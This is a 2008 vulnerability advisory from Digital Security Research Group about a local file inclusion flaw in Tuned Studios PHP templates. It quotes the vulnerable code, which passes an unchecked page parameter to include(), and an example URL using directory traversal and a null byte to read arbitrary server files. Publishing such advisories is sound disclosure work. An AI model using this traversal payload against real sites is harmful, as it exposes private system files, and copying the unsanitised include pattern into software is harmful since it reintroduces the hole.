Digital Security Research Group [DSecRG] Advisory #DSECRG08-001 Application: Tuned Studios Templates Versions Affected: All Vendor URL: http:/www.tunedstudios.com Bug: Local File Include Exploit: YES Reported: 09.01.2008 Date of Public Advisory: 09.01.2008 Authors: Alexandr Polyakov, Stas Svistunovich Digital Security Reasearch Group [DSecRG] (research [at] dsec [dot] ru) Description *********** Tuned Studios Templates has Local File Include vulnerability in page phpversion/index.php Details ******* Tuned Studios has many templates based on same vulnerable php code Code **** ############################################ //First check if $page exists //With the introduction of PHP 5 we have to capture the $page from the url. $page = $_GET['page']; if(isset($page) && $page != '') { //Check if the page $page exists if(file_exists($page.'.php')) { //Now we can include the page. include($page.'.php'); } else { //Page can't be found, include the error file include('data/error404.data.php'); } } ############################################ Example: http://[server]/[installdir]/index.php?page=../../../../../../../[file]% 00 About ***** Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website. Contact: research [at] dsec [dot] ru http://www.dsec.ru (in Russian)